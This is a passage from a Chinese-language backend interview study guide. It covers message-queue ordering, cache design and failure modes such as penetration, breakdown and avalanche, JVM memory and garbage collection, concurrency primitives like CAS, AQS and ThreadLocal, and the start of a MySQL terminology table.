  ├─ 要保证顺序 → ③ 必须等 ② 成功 → 但 ② 一直失败 → 【整个队列卡死】
  └─ 要继续消费 → ③ 先处理了 → 【顺序乱了:还没支付就发货】

工业界的解法:

方案 怎么做
失败不重试,直接进死信 保住可用性,牺牲这条消息 → 靠对账补
设置最大重试次数 重试 N 次后进死信,不再阻塞
把失败消息“挂起” 单独存起来等人工处理,主流程继续(RocketMQ 的 SUSPEND 策略)

关键认知:

全局顺序和吞吐量是矛盾的。 全局严格顺序 = 单线程串行 = 吞吐极低。 所以实践中都做局部顺序:只保证“同一个业务 ID(如订单号)“的消息有序, 按 orderId % 队列数 路由到同一队列即可,不同订单之间仍可并行。


2.3 第二章小结

【MQ 核心概念关系图】

生产者 ──发──▶ Topic(主题)
                 │
                 ├─ Queue-0 ──▶ 消费者 A ─┐
                 ├─ Queue-1 ──▶ 消费者 B ─┼── 同属一个 Consumer Group
                 └─ Queue-2 ──▶ 消费者 C ─┘    (组内分摊,组间广播)
                        │
                   每个消费者维护自己的 offset(读到哪了)
                        │
                   消费成功 → ACK → offset 前进
                   消费失败 → 进重试队列 → 重试 N 次 → 仍失败 → 死信队列
                        │
                   成员变化 → Rebalance(暂停消费,重新分配)

面试最常问的三个问题:

  1. 怎么保证消息不丢? → 生产者确认 + MQ 持久化 + 消费端手动 ACK
  2. 怎么保证不重复消费? → 消费端幂等(唯一键 / Redis SETNX / 状态机)
  3. 消息堆积了怎么办? → 先看消费者是不是挂了,再扩分区再扩消费者

深入阅读:04 号文档(中间件)、10 号文档第三章(消息不一致与解决方案)


第三章:缓存

这一章对应 03 号文档(《数据库与缓存》)和 10 号文档第四章。 TTL、LRU、LFU、W-TinyLFU、缓存穿透/击穿/雪崩 这几个是必考,且光看名字完全不懂。

3.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
TTL Time To Live 数据的“保质期”,到期自动删除 02/03/04/06/08/09/10
LRU Least Recently Used 淘汰最久没被用过的数据 02/03/09/10
LFU Least Frequently Used 淘汰用得次数最少的数据 03/10
FIFO First In First Out 先进先出,淘汰最早进来的 03
W-TinyLFU Window Tiny Least Frequently Used Caffeine 用的算法,LRU 和 LFU 的混合增强版 03/10
Cache Aside Cache Aside Pattern 旁路缓存:读时先查缓存,写时先更库再删缓存 03/10
Write Through Write Through 写数据时同时写缓存和库,都成功才返回 03/10
Write Back Write Back 只写缓存就返回,缓存异步刷到库(快但可能丢) 03/10
Cache Hit 缓存命中 要的数据缓存里有,直接返回 03/10
Cache Miss 缓存未命中 缓存里没有,得去查数据库 03/10
缓存穿透 Cache Penetration 查一个根本不存在的数据,缓存永远不命中,请求全打到库 03/10
缓存击穿 Cache Breakdown 一个热点 key 恰好过期,瞬间大量请求打到库 03/10
缓存雪崩 Cache Avalanche 大批 key 同时过期,或缓存集群整个挂了 03/10
延迟双删 Delayed Double Delete 更新时删两次缓存,中间隔一小段时间 03/10
缓存预热 Cache Warm-up 系统启动时主动把热点数据加载到缓存 03/10
缓存降级 Cache Degradation 缓存挂了,临时返回一个默认值,保护数据库 03/10
布隆过滤器 Bloom Filter 用极小的空间判断“某个 key 一定不存在/可能存在” 03/10
热点 key Hot Key 被超高频率访问的同一个 key(如爆款商品) 03/05/10
大 key Big Key 单个 key 的 value 特别大(如几 MB 的列表) 03/10
多级缓存 Multi-Level Cache 本地缓存(Caffeine)+ 分布式缓存(Redis)两层 03/10
Caffeine Caffeine Java 里性能最好的本地缓存库(Spring 默认用它) 03/10
Canal Canal 阿里开源工具,伪装成 MySQL 从库,订阅 binlog 感知数据变更 04/10
binlog Binary Log MySQL 的二进制日志,记录所有数据变更 02/03/10

3.2 核心概念详解

TTL(Time To Live,存活时间)—— 数据的保质期

Time To Live 字面意思就是“还能活多久”。 一句话:给缓存数据设一个过期时间,到点自动删除。

为什么必须设(面试常问):

  1. 内存有限:不设 TTL,缓存只增不减,迟早撑爆内存
  2. 数据会变:数据库改了,缓存不设过期就永远是旧值
  3. 兜底一致性:即使删缓存失败了,TTL 到期也能自愈

设置 TTL 的讲究:

固定 TTL:  SET key value EX 300        ← 所有 key 都 5 分钟
问题:     大批 key 同时创建 → 同时过期 → 【缓存雪崩】

正确做法: 基础 TTL + 随机抖动
           EX (300 + random(0, 300))    ← 5~10 分钟随机
           让过期时间打散,避免集中失效

TTL 设置多长?权衡:

TTL 太短 TTL 太长
缓存命中率低,数据库压力大 数据陈旧,不一致时间长
频繁回源 内存占用高

经验值:热点数据 5~30 分钟,配合主动删除(改数据时主动删缓存),TTL 只当兜底。

生活类比: 牛奶的保质期。到期就扔(自动删除)。 如果所有牛奶都是同一天生产、同一天过期(固定 TTL),那天超市就会断货(雪崩)。 所以生产日期要打散(随机抖动)。


LRU / LFU / FIFO —— 三种缓存淘汰策略

缓存满了,新数据要进来,得先淘汰一个旧的。淘汰谁就是策略问题。

策略 全称 淘汰谁 优点 缺点
FIFO First In First Out 最早进来的 实现最简单 可能淘汰掉还在频繁用的数据
LRU Least Recently Used 最久没被访问的 符合“刚用过的还会再用” 一次全表扫描会把热点全挤掉
LFU Least Frequently Used 访问次数最少的 能保护长期热点 老数据累积了高频次,新数据进不来

LRU 的致命缺陷(面试加分):

场景:热点数据 A 被访问了 1 万次,已在缓存里
     突然来了一次"全表扫描"查询,把 B、C、D... 几十万条数据读了一遍
     ↓
     LRU 认为 B/C/D 是"最近使用",把真正的热点 A 挤了出去
     ↓
     扫描结束,缓存里全是只用一次的垃圾数据 → 【缓存污染】

LFU 的致命缺陷:

场景:新闻热点 A 火了三天,访问了 100 万次
     第四天过气了,但因为历史频次高,一直赖在缓存里
     新热点 B 才访问 100 次,反而进不来
     ↓
     【历史包袱问题】

所以有了 W-TinyLFU(Caffeine 用的,见下节)。

生活类比:

  • FIFO:书架满了,扔掉最早买的书(不管你看不看)
  • LRU:扔掉最久没翻过的书(合理,但被“大扫除时翻了一遍的旧书”骗了)
  • LFU:扔掉翻的次数最少的书(合理,但小时候翻烂的课本一直占地方)

W-TinyLFU —— Caffeine 为什么比 Guava Cache 快

一句话:LRU 和 LFU 的“取长补短”版本,用一个极小的空间记录访问频率。

名字拆解:

  • W(Window):一个小的 LRU 窗口区,接纳新数据
  • Tiny:用极小的内存记录频率(Count-Min Sketch 算法,4 位计数)
  • LFU:按频率决定去留

它怎么工作(简化版):

缓存分成两块:
  ┌─────────────────┬──────────────────────────┐
  │  Window (1%)    │      Main (99%)          │
  │  LRU 小窗口      │   按频率排序的主区        │
  └─────────────────┴──────────────────────────┘
        ▲                       ▲
        │                       │
   新数据先进这里           待晋升区 + 受保护区
   (给它机会证明自己)      (频率高的留下)

淘汰时:Window 区的候选者 vs Main 区的受害者
        → 比较两者的【访问频率】
        → 【频率高的留下,低的被淘汰】

为什么它厉害:

  1. 解决 LRU 的缓存污染:一次性的批量扫描数据,频率低,进不了 Main 区
  2. 解决 LFU 的历史包袱:频率计数有衰减机制(Periodic Reset),老数据的高频会慢慢降
  3. 内存开销极小:用 Count-Min Sketch,每个 key 只占 4 bit(传统 LFU 要存完整计数)

面试怎么说(这是区分度很高的加分题):

“Caffeine 用 W-TinyLFU 算法。它维护一个 1% 的 LRU 窗口区接纳新数据, 主区用 Count-Min Sketch 以极低成本(每个 key 4 bit)统计访问频率。 淘汰时比较窗口区候选者和主区受害者的频率,高的留下。 这样既能抵抗 LRU 的’一次性扫描污染’,又能通过频率衰减避免 LFU 的历史包袱。 实测命中率比 Guava Cache 的 LRU 高出不少,所以 Spring Boot 2.x 之后默认换成了 Caffeine。”


缓存穿透 / 击穿 / 雪崩 —— 三个“缓存失效”的经典问题

这三个词特别容易记混,用一句话区分:

问题 一句话 关键点
穿透 查不存在的数据 数据库里也没有 → 缓存永远存不住 → 每次都打库
击穿 单个热点 key 过期 一号商品,几万人同时查,key 刚好失效
雪崩 大批 key 同时过期 成千上万个 key 一起失效,或 Redis 集群挂了

记忆口诀:

穿透 = 查无此物(数据根本不存在)
击穿 = 一点破防(单个热点,被"击"穿一个洞)
雪崩 = 大面积崩塌(成片失效)

缓存穿透 —— 解决方案

问题:有人恶意用 id = -1、id = 99999999 疯狂请求
     缓存查不到 → 查数据库也查不到 → 缓存存不住 → 每次都打数据库
     数据库被拖垮

解法①:缓存空值
      查不到也写入缓存,value = null,TTL 设短一点(如 60 秒)
      ✅ 简单有效
      ⚠️ 恶意换不同 id 攻击时,会缓存大量空值 → 占内存

解法②:布隆过滤器(Bloom Filter)★ 推荐
      把所有合法的 id 放进布隆过滤器
      请求来了先过过滤器:
        ├─ 过滤器说"不存在" → 一定是非法的,直接返回
        └─ 过滤器说"可能存在" → 才去查缓存/数据库
      ✅ 内存占用极小(1 亿数据约 100MB)
      ⚠️ 有误判率(说"存在"的不一定真存在,但说"不存在"一定不存在)
      ⚠️ 删除困难(需要计数布隆过滤器)

解法③:接口层校验
      id <= 0 直接拒绝,参数合法性校验

布隆过滤器为什么这么省内存:

传统方式:存 1 亿个 id(每个 8 字节)→ 800 MB
布隆过滤器:1 亿个 id → 约 100 MB,且查询 O(1)

原理:一个很长的 bit 数组(初始全 0)
     插入 id → 用 3 个不同的 hash 函数算出 3 个位置 → 都置为 1
     查询 id → 算 3 个位置,只要有一个是 0 → 【一定不存在】
                                  全是 1     → 【可能存在】(有误判)

缓存击穿 —— 解决方案

问题:爆款商品 A 的缓存过期了
     同一瞬间 1 万个请求发现缓存没了 → 全部去查数据库
     数据库瞬间被打爆

解法①:互斥锁(分布式锁)★ 最常用
      只有拿到锁的线程去查数据库 + 重建缓存
      其他线程等待 / 返回旧值 / 自旋重试
      ✅ 保证只有一个请求打到数据库
      ⚠️ 有死锁风险和性能损耗

解法②:逻辑过期(永不过期)★ 推荐
      缓存里不设 TTL,但在 value 里存一个"逻辑过期时间"
      读到时发现逻辑过期 → 拿锁去异步刷新,当前请求先返回旧值
      ✅ 无等待,高可用
      ⚠️ 会短暂返回旧数据(业务能接受即可)

解法③:热点 key 永不过期 + 主动更新
      数据变更时主动更新缓存,不依赖 TTL 过期

缓存雪崩 —— 解决方案

问题:双十一零点,系统预热了 10 万个 key,都设了 1 小时 TTL
     1 小时后,10 万个 key 同时失效 → 全部请求打到数据库 → 数据库挂

解法①:TTL 加随机值 ★ 最简单有效
      原来:EX 3600
      改成:EX (3600 + random(0, 600))
      把过期时间打散,避免集中失效

解法②:多级缓存
      本地缓存(Caffeine)+ 分布式缓存(Redis)
      Redis 挂了,本地缓存还能扛一阵

解法③:缓存集群高可用
      Redis 哨兵 / 集群,避免整个缓存层挂掉

解法④:熔断降级 + 限流
      缓存挂了,对数据库加限流,只允许部分请求通过
      其他请求返回默认值(如"稍后再试")→ 保住数据库不崩

Cache Aside(旁路缓存)—— 最常用的缓存读写模式

一句话:读的时候先查缓存,没有就查库再写回缓存;写的时候先更数据库,再删缓存。

为什么叫“旁路”:

缓存不直接参与写流程,它“待在旁边”,应用层自己决定什么时候读写它。

读流程:

读请求 → 查缓存
          ├─ 命中 → 直接返回 ✅
          └─ 未命中 → 查数据库
                       ├─ 查到 → 写入缓存 → 返回
                       └─ 没查到 → 返回 null(考虑缓存空值防穿透)

写流程(关键!):

写请求 → 更新数据库
          ↓
       删除缓存 ← 注意:是【删除】,不是【更新】

为什么是“删缓存”而不是“更新缓存”(面试必答):

更新缓存 删除缓存
并发安全 ❌ 两个并发写可能乱序,导致缓存是旧值 ✅ 删了就没了,下次读自然加载新值
性能 ❌ 每次写都要算一遍缓存值,可能白算(写了没人读) ✅ 懒加载,用到才加载
复杂度 ❌ 缓存 value 可能由多张表算出来,更新难维护 ✅ 无脑删

生活类比:

  • 更新缓存:你改了文档内容,就要立刻重新生成一份摘要贴墙上(改 10 次要生成 10 次,可能没人看)
  • 删除缓存:你把墙上的摘要撕了,谁要看谁自己重新生成(懒加载,永远是对的)

延伸:关于“先删缓存还是先更新数据库”的经典争论, 以及为什么“先更新数据库再删缓存”更优,详见 10 号文档 4.3 节(含概率分析和完整论证)。


延迟双删 —— 以及它为什么“不靠谱”

一句话:删缓存 → 更新数据库 → 睡一小会儿 → 再删一次缓存。

为什么会有这个方案:

"先删缓存再更新数据库"的并发问题:
  线程 A:删缓存
  线程 B:读请求 → 缓存没有 → 查数据库(读到旧值)→ 写入缓存(旧值!)
  线程 A:更新数据库(新值)
  结果:缓存里是旧值,数据库是新值 → 不一致!

延迟双删想解决:
  A 更新完数据库后,再删一次缓存 → 把 B 写的旧值删掉

它为什么不靠谱(面试加分,很多人答不出来):

  1. “sleep 多久”根本定不下来
    • 睡 500ms?如果 B 的读操作耗时 800ms(慢查询),删完 B 还是把旧值写进去了
    • 睡 3 秒?写接口响应时间变成 3 秒,业务受不了
  2. sleep 会拖慢接口,高并发下线程池被打满
  3. 第二次删除也可能失败(网络抖动),没有重试就是白搭

更好的方案:

方案 怎么做
重试机制 删缓存失败 → 进消息队列重试(保障删除成功)
MySQL binlog 订阅(Canal) 数据库改了自动发事件,缓存订阅后删除,彻底解耦
TTL 兜底 无论怎样,TTL 到期自动失效,保证最终一致

面试怎么说:

“延迟双删是一种’尽力而为’的补偿手段,但它依赖 sleep 时间, 而 sleep 多久取决于’读请求的耗时’,这个值是不确定的,所以并不可靠。 生产上我们用的是:更新数据库 + 删除缓存 + 删除失败进 MQ 重试 + TTL 兜底, 如果要更彻底就上 Canal 订阅 binlog。”


3.3 第三章小结

【缓存问题速查】

读流程:  查缓存 → 命中返回 / 未命中查库并回写
写流程:  更新数据库 → 【删除】缓存(不是更新)

三大问题:
  穿透(查不存在的)→ 布隆过滤器 / 缓存空值
  击穿(单个热点过期)→ 分布式锁 / 逻辑过期
  雪崩(大批同时过期)→ TTL 随机化 / 多级缓存 / 熔断限流

淘汰策略:
  FIFO(最早进来的)→ LRU(最久没用的)→ LFU(用得最少的)
  → W-TinyLFU(Caffeine,LRU+LFU 混合 + 频率衰减)★ 最优

一致性:
  先更数据库,再删缓存
  删除失败要重试(MQ)
  TTL 兜底
  多级缓存用 Pub/Sub 广播失效(详见 10 号文档 4.6 节)

深入阅读:03 号文档(数据库与缓存)、10 号文档第四章(缓存一致性)


第四章:JVM 与并发

这一章对应 01 号文档(《Java 核心内功》)。 JMM、STW、CAS、AQS、TLAB、逃逸分析 这几个是光看名字完全猜不出意思的典型。

4.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
JVM Java Virtual Machine Java 虚拟机,让 Java 代码“一次编译到处运行”的那个东西 01/02/03/07/08/10
JMM Java Memory Model Java 内存模型,规定多线程下“谁能看到谁改的数据” 01
JUC java.util.concurrent Java 并发工具包(JDK 5 开始),锁、线程池、原子类都在里面 01/02/10
GC Garbage Collection 垃圾回收,自动回收不用的对象 01/02/08/09/10
STW Stop The World GC 时暂停所有业务线程(世界停止) 01/02
CMS Concurrent Mark Sweep 老牌低延迟收集器,已废弃 01/08
G1 Garbage First JDK 9+ 默认收集器,平衡吞吐和延迟 01/08
ZGC Z Garbage Collector 超低延迟收集器,停顿 < 10ms,支持 TB 级堆 01
Serial / Parallel 串行 / 并行收集器 单线程 / 多线程 GC 01
Minor GC Minor GC(新生代 GC) 只回收新生代,频繁但快 01/08
Major GC / Full GC 老年代 GC / 整堆 GC 回收老年代或整个堆,慢,要避免 01/08
JIT Just In Time 运行时把热点代码编译成机器码(边跑边编译) 01
AOT Ahead Of Time 运行前就编译成机器码(提前编译),启动快 01
OOM Out Of Memory 内存溢出,内存不够用了 01/02/07/08
CAS Compare And Swap 无锁原子操作:“如果是 A,就改成 B” 01/10
AQS AbstractQueuedSynchronizer JUC 锁的底层框架,ReentrantLock、Semaphore 都基于它 01
volatile volatile(易变的) 保证可见性和禁止指令重排,但不保证原子性 01/02/10
synchronized synchronized(同步的) Java 内置锁,保证原子性、可见性、有序性 01/02/03
ThreadLocal ThreadLocal(线程本地) 每个线程一份独立副本,线程间互不影响 01/02/08/10
TLAB Thread Local Allocation Buffer 每个线程在 Eden 区专属的一小块内存,分配对象无锁竞争 01
逃逸分析 Escape Analysis JIT 分析对象会不会“逃出”方法,不会就在栈上分配 01
偏向锁/轻量锁/重量锁 Biased/Lightweight/Heavyweight Lock synchronized 的三种锁状态,从轻到重升级 01
happens-before happens-before(先行发生) JMM 的规则:A happens-before B,则 A 的结果 B 一定看得见 01
ABA 问题 ABA Problem CAS 的经典坑:值从 A 变 B 又变回 A,CAS 以为没变过 01

4.2 核心概念详解

JVM(Java Virtual Machine)—— Java 程序跑在上面的“虚拟电脑”

一句话:一个虚拟出来的计算机,Java 代码编译成字节码后跑在它上面,所以能跨平台。

为什么不直接编译成机器码:

传统方式(C/C++):
  源码 → 编译成 Windows 机器码 → 只能在 Windows 跑
       → 编译成 Linux 机器码   → 只能在 Linux 跑

Java 方式:
  源码 → 编译成【字节码 .class】→ 交给 JVM 执行
  JVM 替你屏蔽了操作系统差异 → 【一次编译,到处运行】

JVM 的三个核心区域(面试必画):

┌─────────────────────────────────────────────┐
│               JVM 内存结构                    │
├─────────────────────────────────────────────┤
│  【线程共享】                                 │
│   ├─ 堆(Heap)        ← 对象都在这里,GC 主战场│
│   └─ 方法区/元空间      ← 类信息、常量、静态变量 │
├─────────────────────────────────────────────┤
│  【线程私有】                                 │
│   ├─ 虚拟机栈          ← 方法调用的局部变量     │
│   ├─ 本地方法栈        ← native 方法           │
│   └─ 程序计数器        ← 下一条指令的地址       │
└─────────────────────────────────────────────┘

堆的分代(GC 的基础):

堆 Heap
├─ 新生代 Young(1/3)
│   ├─ Eden(8/10)      ← 新对象都在这里诞生
│   └─ Survivor ×2(各 1/10)← From / To,存活对象在这里倒腾
└─ 老年代 Old(2/3)      ← 熬过多次 GC 还活着的对象

对象的一生:
  new 出来 → Eden
  → Eden 满了,Minor GC → 活着的进 Survivor
  → 在 Survivor 里熬过 15 次 GC(默认)→ 晋升老年代
  → 老年代满了 → Full GC

生活类比: JVM 是个“托管公寓”。

  • 堆是公寓房间(对象住的地方)
  • 新生代是“试用期租客区”,老年代是“长租区”
  • GC 是物业,定期清理搬走的租客(没人引用的对象)

JMM(Java Memory Model,Java 内存模型)—— 多线程的“交通规则”

一句话:规定多线程下,一个线程改了数据,另一个线程什么时候能看见。

为什么需要它:

现代 CPU 有多级缓存,线程不是直接读写主内存:

  线程 A ──▶ 工作内存 A(CPU 缓存)──┐
                                     ├──▶ 主内存(RAM)
  线程 B ──▶ 工作内存 B(CPU 缓存)──┘

问题:线程 A 改了变量 x,但只改了自己缓存里的副本
     线程 B 读的还是自己缓存里的旧值 → 【数据不一致】

JMM 就是规定:什么时候必须把缓存刷回主内存,什么时候必须从主内存重新读。

JMM 三大特性(面试必答):

特性 含义 怎么保证
原子性 一个操作不可分割,要么全做要么不做 synchronized、锁、AtomicInteger
可见性 一个线程改了,其他线程立刻能看见 volatile、synchronized、final
有序性 代码执行顺序符合预期(不被重排序) volatile、synchronized、happens-before

volatile 是什么、不是什么(超高频考点):

volatile 保证:
  ✅ 可见性:改完立刻刷主内存,别人立刻看得见
  ✅ 有序性:禁止指令重排序

volatile 不保证:
  ❌ 原子性:i++ 这种"读-改-写"三步操作,volatile 管不住
             → 要用 synchronized 或 AtomicInteger

经典例子:
  volatile int count = 0;
  count++;  // ❌ 线程不安全!虽然有 volatile
            // 因为 count++ 是 ①读 ②+1 ③写回,三步

生活类比: JMM 像“公司公告板规则”。

  • 没有规则:你在自己工位改了方案(工作内存),同事不知道(不可见)
  • 有 volatile:规定“改完必须贴到公告板,且所有人必须看公告板”(可见性)
  • 但“两个人同时改公告板”还是会撞车(不保证原子性),得加锁(一次只允许一个人改)

GC(Garbage Collection)与 STW —— 自动打扫卫生,但会暂停营业

GC 是什么:自动找出“没人用的对象”并回收内存,程序员不用手动 free。

怎么判断对象“没用了”:

可达性分析:从 GC Roots(栈里的引用、静态变量等)出发, 能沿着引用链找到的对象就是“活着”的,找不到的就是垃圾。

注意:不是“有没有人引用它”,而是“能不能从 GC Roots 找到它“—— 所以两个互相引用但外部访问不到的对象(循环引用),也会被回收。

STW(Stop The World,世界停止):

GC 的时候,为了让引用关系不再变化,必须暂停所有业务线程。 这段时间用户请求全部卡住 → 表现为“接口突然卡了一下”或“超时”。

为什么 GC 调优的目标是“降低 STW”:

Minor GC:STW 几毫秒 ~ 几十毫秒,用户无感知
Full GC :STW 几百毫秒 ~ 几秒,用户明显卡顿,甚至超时

所以调优的核心就是:【减少 Full GC】

三款主流收集器对比(面试必背)

CMS G1 ZGC
目标 低延迟 吞吐与延迟平衡 极致低延迟
最大停顿 几十~几百 ms 可控(设 MaxGCPauseMillis,如 200ms) < 10ms(几乎与堆大小无关)
堆大小 几 GB ~ 十几 GB 几 GB ~ 几十 GB TB 级
算法 并发标记清除 Region 分区 + 标记整理 染色指针 + 读屏障(并发转移)
碎片问题 ⚠️ 有(标记-清除),最终会 Full GC 少(整体标记-整理) 无
JDK 版本 JDK 9 废弃,JDK 14 移除 JDK 9+ 默认 JDK 11 实验,JDK 15 生产可用
适合 已淘汰,仅老系统 绝大多数业务 超大堆 + 超低延迟要求

面试怎么答“你们用什么 GC”:

“JDK 8 的话是 Parallel / CMS,JDK 11 之后默认 G1。 G1 通过 -XX:MaxGCPauseMillis=200 设定目标停顿时间,它会只回收’收益最高’的 Region(这就是 Garbage First 名字的由来), 在有限时间内回收最多垃圾。如果堆特别大且要求极低延迟,可以考虑 ZGC。”

G1 为什么叫 “Garbage First”(垃圾优先):

传统收集器:整块新生代 / 整块老年代一起回收 → 停顿时间不可控
G1:把堆分成约 2048 个 Region(每块 1~32MB)
    每次 GC 时【优先回收垃圾最多的 Region】
    → 用同样的时间,回收最多的垃圾
    → 停顿时间可控 ✅

CAS(Compare And Swap,比较并交换)—— 无锁编程的基石

一句话:“我认为值应该是 A,如果是,就改成 B;如果不是,说明别人动过了,我重试。”

三个操作数:

CAS(V, A, B)
  V = 要更新的变量的内存位置
  A = 预期值(我认为它现在应该是什么)
  B = 新值(要改成什么)

执行:如果 V 位置的值 == A,就把它改成 B,返回 true
     否则什么都不做,返回 false

它是原子的:

这是一条 CPU 指令(x86 的 cmpxchg),硬件保证不可被打断。 所以不需要加锁,性能远高于 synchronized。

Java 里的应用:

AtomicInteger.incrementAndGet()
  → 底层就是 CAS 自旋:
    do {
        int current = get();
        int next = current + 1;
    } while (!compareAndSet(current, next));  // 失败了就重试

CAS 的三个问题(面试必答):

问题 说明 解法
① ABA 问题 值从 A → B → A,CAS 检查时以为“没变过” 加版本号:AtomicStampedReference
② 自旋开销大 竞争激烈的线程一直循环重试,CPU 空转 自适应自旋 / 退化为锁
③ 只能保证一个变量原子 多个变量要原子操作就不行了 封装成对象,用 AtomicReference

ABA 问题举例(面试常让举例):

你的账户余额 100 元
  线程 A:想取 50,CAS(100, 50)
  但在 A 执行前:
    线程 B:取了 50 → 余额 50
    线程 C:存了 50 → 余额又变回 100
  线程 A 执行:发现余额是 100(和预期一致)→ 扣款成功

问题:中间发生过交易,但 A 完全不知道
(对余额来说结果正确,但如果是"链表节点"这类结构,可能出错)

生活类比: 你看桌上有瓶水(A),去上了个厕所回来,桌上还是有瓶水(A)。 你以为没人动过——但其实有人拿走喝了一口又放回去了(A→B→A)。 解决:给瓶子贴个“开封次数”标签(版本号)。


AQS(AbstractQueuedSynchronizer,抽象队列同步器)—— JUC 锁的“发动机”

一句话:一个框架,用一个 int 状态变量 + 一个等待队列,实现了各种锁。

它解决什么问题:

写一个锁要考虑:怎么表示“锁被占了”、抢不到锁的线程放哪、怎么唤醒、怎么处理中断…… AQS 把这些通用逻辑都做了,你只需要告诉它“怎么获取锁、怎么释放锁”。

核心结构(面试常让画):

┌──────────────────────────────────────────┐
│  private volatile int state;   ← 同步状态  │
│     0 = 没被占用                          │
│     1 = 被占用                            │
│     >1 = 可重入次数                        │
├──────────────────────────────────────────┤
│  private transient Node head;  ← 等待队列头│
│  private transient Node tail;  ← 等待队列尾│
│                                          │
│  队列是【双向链表】,存抢不到锁的线程         │
│  头节点 = 正在持有锁的线程                  │
└──────────────────────────────────────────┘

工作方式:

获取锁:
  线程尝试用 CAS 把 state 从 0 改成 1
    ├─ 成功 → 拿到锁,继续执行
    └─ 失败 → 把自己包装成 Node 加入队列尾部 → 阻塞(park)

释放锁:
  把 state 改回 0 → 唤醒队列里的下一个线程(unpark)

基于 AQS 实现的类(常考):

类 state 的含义
ReentrantLock 0=未锁,>0=重入次数
Semaphore 剩余许可证数量
CountDownLatch 还需要倒数的次数
ReentrantReadWriteLock 高 16 位=读锁数,低 16 位=写锁重入数

面试怎么说:

“AQS 是 JUC 锁的底层框架。它维护一个 volatile 的 int 状态和一个 FIFO 双向等待队列。 线程用 CAS 尝试修改 state,成功就获得锁,失败就进队列阻塞。 释放时改回 state 并唤醒后继节点。 ReentrantLock、Semaphore、CountDownLatch 都是基于它实现的,区别只是 state 的含义不同。”


ThreadLocal —— 以及它为什么会内存泄漏

一句话:给每个线程一份独立的变量副本,线程之间互不干扰。

它解决什么问题:

问题:SimpleDateFormat 不是线程安全的,多线程共用会出错

方案①:每次 new 一个 → 浪费
方案②:加锁 → 有性能损耗
方案③:ThreadLocal → 【每个线程一个,互不干扰,无锁】✅

底层原理(面试常问):

不是"ThreadLocal 里存了值",而是【每个 Thread 对象里有一个 ThreadLocalMap】:

  ThreadLocal<String> tl = new ThreadLocal<>();
  tl.set("hello");

  实际存到了:
    当前线程 Thread
      └─ ThreadLocalMap(类似 HashMap)
           └─ Entry: key = tl(弱引用),value = "hello"(强引用)

⚠️ 内存泄漏的原因(超高频考点):

Entry 的 key(ThreadLocal 本身)是【弱引用】
  → GC 时,如果 ThreadLocal 对象没有外部强引用,key 会被回收,变成 null
  → 但 value 还是【强引用】,不会被回收!
  → 这个 Entry 就变成了 key=null 的垃圾,永远访问不到,也释放不掉

如果线程是【线程池里的线程】(长期存活、不销毁)
  → 这些垃圾 value 会一直堆积 → 【内存泄漏】

正确用法(必须记住):

try {
    threadLocal.set(value);
    // ... 业务逻辑
} finally {
    threadLocal.remove();  // ★ 用完必须 remove!
}

为什么 key 要设计成弱引用:

因为如果 key 是强引用,那么即使业务代码里把 tl = null, ThreadLocal 对象还是被 ThreadLocalMap 引用着,永远无法回收,泄漏更严重。 弱引用至少能让 key 被回收(虽然 value 还是会漏,但配合 remove 能解决)。

生活类比: 公司储物柜(ThreadLocalMap),每个员工(线程)有自己的柜子。

  • 钥匙(ThreadLocal)丢了(被 GC 回收),但柜子里的东西(value)还在
  • 员工一直不离职(线程池复用)→ 柜子永远占着 → 储物间爆满(内存泄漏)
  • 解决:用完柜子就清空(remove)

JIT / AOT —— 两种编译时机

JIT(Just In Time) AOT(Ahead Of Time)
什么时候编译 运行时边跑边编译 运行前就编译好
怎么工作 先解释执行,发现“热点代码”(如被调用 1 万次的方法)才编译成机器码 打包时直接把字节码编译成机器码
优点 能根据运行时情况动态优化(如内联、逃逸分析) 启动快(省去编译时间)、内存占用小
缺点 启动初期慢(“预热”过程) 失去动态优化能力
典型应用 传统 Java 应用 GraalVM Native Image、Android ART

为什么 Java 服务端要“预热”:

刚启动时,代码还没被 JIT 编译,走解释执行 → 慢。 跑一段时间后,热点代码被编译成机器码 → 快。 所以压测前要“预热”几分钟,否则测出来的是解释执行的性能。


TLAB / 逃逸分析 —— 两个“对象分配优化”

TLAB(Thread Local Allocation Buffer)

一句话:每个线程在 Eden 区预分配一小块专属内存,分配对象时不需要加锁。

为什么:堆是线程共享的,多个线程同时 new 对象会有竞争。 解决:给每个线程一小块私有地盘,各分配各的,无需同步。

逃逸分析(Escape Analysis)

一句话:JIT 分析对象会不会“逃出”方法,如果不会,就直接在栈上分配(而不是堆上)。

public void foo() {
    User u = new User();  // u 只在方法内用,没有 return 出去
    u.setName("张三");
}  // 方法结束,u 就没人用了

这种情况,对象可以分配在栈上,方法结束自动销毁,完全不需要 GC。

其他优化:

  • 标量替换:把对象拆成基本类型,连对象都不创建
  • 锁消除:发现锁对象不会逃逸,直接把 synchronized 去掉

第五章:数据库

这一章对应 03 号文档(《数据库与缓存》)。 MVCC、WAL、redo/undo、回表、覆盖索引、间隙锁 是 MySQL 面试的核心,也是缩写重灾区。

5.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
MVCC Multi-Version Concurrency Control 多版本并发控制:同一行数据保留多个版本,读不加锁 02/03
WAL Write-Ahead Logging 预写日志:先写日志再改数据,保证崩溃能恢复 03
redo log Redo Log(重做日志) InnoDB 的日志,崩溃后用它恢复已提交的数据 03/07
undo log Undo Log(回滚日志) 记录修改前的值,用于回滚和 MVCC 读历史版本 02/03/07
binlog Binary Log(二进制日志) MySQL Server 层的日志,用于主从复制和数据恢复 02/03/10
B+Tree B Plus Tree MySQL 索引的底层数据结构(多路平衡查找树) 03
回表 — 二级索引没查全,得再回主键索引查一次 03
覆盖索引 Covering Index 索引里就有要查的所有字段,不用回表 03
索引下推 Index Condition Pushdown(ICP) 把过滤条件下推到存储引擎,减少回表次数 03
最左前缀 Leftmost Prefix 联合索引必须从最左边开始匹配才生效 03
间隙锁 Gap Lock 锁住两条记录之间的空隙,防止插入(解决幻读) 03
Next-Key Lock Next-Key Lock(临键锁) 行锁 + 间隙锁,InnoDB 默认的行锁算法 03
幻读 Phantom Read 同一事务两次范围查询,行数变了(别人插了新行) 02/03
脏读 Dirty Read 读到了别人还没提交的数据 03
不可重复读 Non-Repeatable Read 同一事务内,同一行两次读结果不同(别人改了并提交) 03
当前读 / 快照读 Current Read / Snapshot Read 当前读=读最新且加锁;快照读=读历史版本不加锁 03
分库分表 Sharding 把数据拆到多个库/表,突破单机瓶颈 03/05
读写分离 Read-Write Splitting 写走主库,读走从库 03
外键 Foreign Key 表之间的引用约束(互联网公司一般不用) 03
